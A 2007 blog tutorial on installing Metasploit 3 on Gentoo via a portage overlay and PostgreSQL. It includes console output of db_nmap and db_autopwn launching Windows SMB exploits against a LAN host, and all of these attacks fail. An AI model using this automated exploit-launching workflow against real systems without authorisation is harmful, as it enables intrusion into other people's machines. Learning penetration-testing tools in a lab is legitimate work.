metasploit3 on gentoo

bored of waiting for metasploit3 to hit portage? download metasploit3-ebuild.tgz and unpack it into a portage overlay directory... if you do layman, or your own thing, then these next few commands probably are not for you, if not, they'll do:



mkdir -p /usr/local/portage/netdotnet.net
cd /usr/local/portage/netdotnet.net
wget http://www.netdotnet.net/assets/18/metasploit3-ebuild.tgz
tar zxvf metasploit3-ebuild.tgz
rm metasploit3-ebuild.tgz
echo "PORTDIR_OVERLAY=\"`pwd`\"" >> /etc/make.conf
cd

then emerge the packages, do read the output of emerge -av



echo "net-analyzer/metasploit gtk postgres sqlite3" >> /etc/portage/package.use
ACCEPT_KEYWORDS="~x86" emerge -av postgresql '=rails-1.2.2' '=metasploit-3.0'

you should see something like the following from the above:



These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild   R   ] dev-db/postgresql-8.2.4-r1  USE="nls pam perl python readline ssl xml zlib -doc 
-kerberos -pg-intdatetime (-selinux) -tcl -test" 0 kB 
[ebuild   R   ] dev-ruby/rails-1.2.2  USE="-doc -fastcgi -mysql -postgres -sqlite -sqlite3" 0 kB 
[ebuild   Rf  ] net-analyzer/metasploit-3.0  USE="gtk postgres sqlite3 -httpd -sqlite2" 0 kB [1] 

Total: 3 packages (3 reinstalls), Size of downloads: 0 kB
Fetch Restriction: 1 package
Portage overlays:
 [1] /usr/local/portage/netdotnet.net

Would you like to merge these packages? [Yes/No] 

yours should say [ebuild N ] instead, important is that you get the ref to your portage overlay, if thats cool, hit enter... you will be forced to jump thru hoops to get the package ( go to http url in browser, click 'i agree', grab file, copy file inplace, rehit emerge for metasploit, GRR... ), but if all goes well, become your usual non-root user, eg:



su - luser

and initate your database malarky as this non-root user:



initdb /home/luser/metasploit3
pg_ctl -D /home/luser/metasploit3 -l /home/luser/metasploit3.log start

become root again and do the following at the msf prompt:



gentoo ~ # msfconsole3 

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ msf v3.0
+ -- --=[ 176 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
       =[ 30 aux

msf > load db_postgres
[*] Successfully loaded plugin: db_postgres
msf > createuser -U luser -P
[*] Executing: `createuser -U luser -P`

Enter name of role to add: root
Enter password for new role: 
Enter it again: 
Shall the new role be a superuser? (y/n) y
CREATE ROLE
msf > db_create
CREATE DATABASE
ERROR:  table "hosts" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
NOTICE:  CREATE TABLE / UNIQUE will create implicit index "hosts_address_key" for table "hosts"
ERROR:  table "services" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "services"
ERROR:  table "vulns" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vulns.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vulns"
ERROR:  table "refs" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "refs_id_seq" for serial column "refs.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs"
ERROR:  table "vulns_refs" does not exist
[*] Database creation complete (check for errors)
msf > db_hosts
msf > db_nmap -p 445 192.168.10.2 

Starting Nmap 4.20 ( http://insecure.org ) at 2007-09-04 04:32 BST
Interesting ports on 192.168.10.2:
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap finished: 1 IP address (1 host up) scanned in 0.266 seconds
msf > db_services
[*] Service: host=192.168.10.2 port=445 proto=tcp state=up name=microsoft-ds
msf > db_autopwn 
[*] Usage: db_autopwn [options]
        -h         Display this help text
        -t         Show all matching exploit modules
        -x         Select modules based on vulnerability references
        -p         Select modules based on open ports
        -e         Launch exploits against all matched targets
         Only obtain a single shell per target system (NON-FUNCTIONAL)
        -r         Use a reverse connect shell
        -b         Use a bind shell on a random port
        -I [range] Only exploit hosts inside this range
        -X [range] Always exclude hosts inside this range

msf > db_autopwn -e
msf > db_autopwn -p -e
[*] Launching exploit/windows/smb/ms03_049_netapi (1/12) against 192.168.10.2:445...
[*] Started bind handler
[*] Launching exploit/windows/smb/ms05_039_pnp (4/12) against 192.168.10.2:445...
[*] Launching exploit/windows/smb/ms04_031_netdde (5/12) against 192.168.10.2:445...
[*] Connecting to the SMB service...
[*] Started bind handler
[*] Started bind handler
[*] Launching auxiliary/dos/windows/smb/ms05_047_pnp (7/12) against 192.168.10.2:445...
[*]  >> Exception during launch from auxiliary/dos/windows/smb/ms05_047_pnp: A target has not been selected.
[*] Launching exploit/windows/smb/ms06_040_netapi (8/12) against 192.168.10.2:445...
[*] Started bind handler
[*] Launching exploit/windows/smb/ms04_011_lsass (9/12) against 192.168.10.2:445...
[*] Started bind handler
msf > [*] Binding to 6bffd098-a112-3610-9833-46c3f87e345a:1.0@ncacn_np:192.168.10.2[\BROWSER] ...
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.10.2[\browser] ...
[*] Trying target Windows 2000 SP4...
[*] Binding to 2f5f3220-c126-1076-b549-074d078619da:1.2@ncacn_np:192.168.10.2[\nddeapi]
[*] No target detected for Unix/Samba 3.0.24...
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.10.2[\lsarpc]...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.10.2[\lsarpc]...
[*] Getting OS information...
[*] No target is available for Unix

msf > 

if things don't go as above, please consider that the above was emerged against a portage tree synced yesterday. if you still feel i have missed something important, please contact me via the link at the top, and i will amend this page.

Posted by doug on Tuesday, September 04, 2007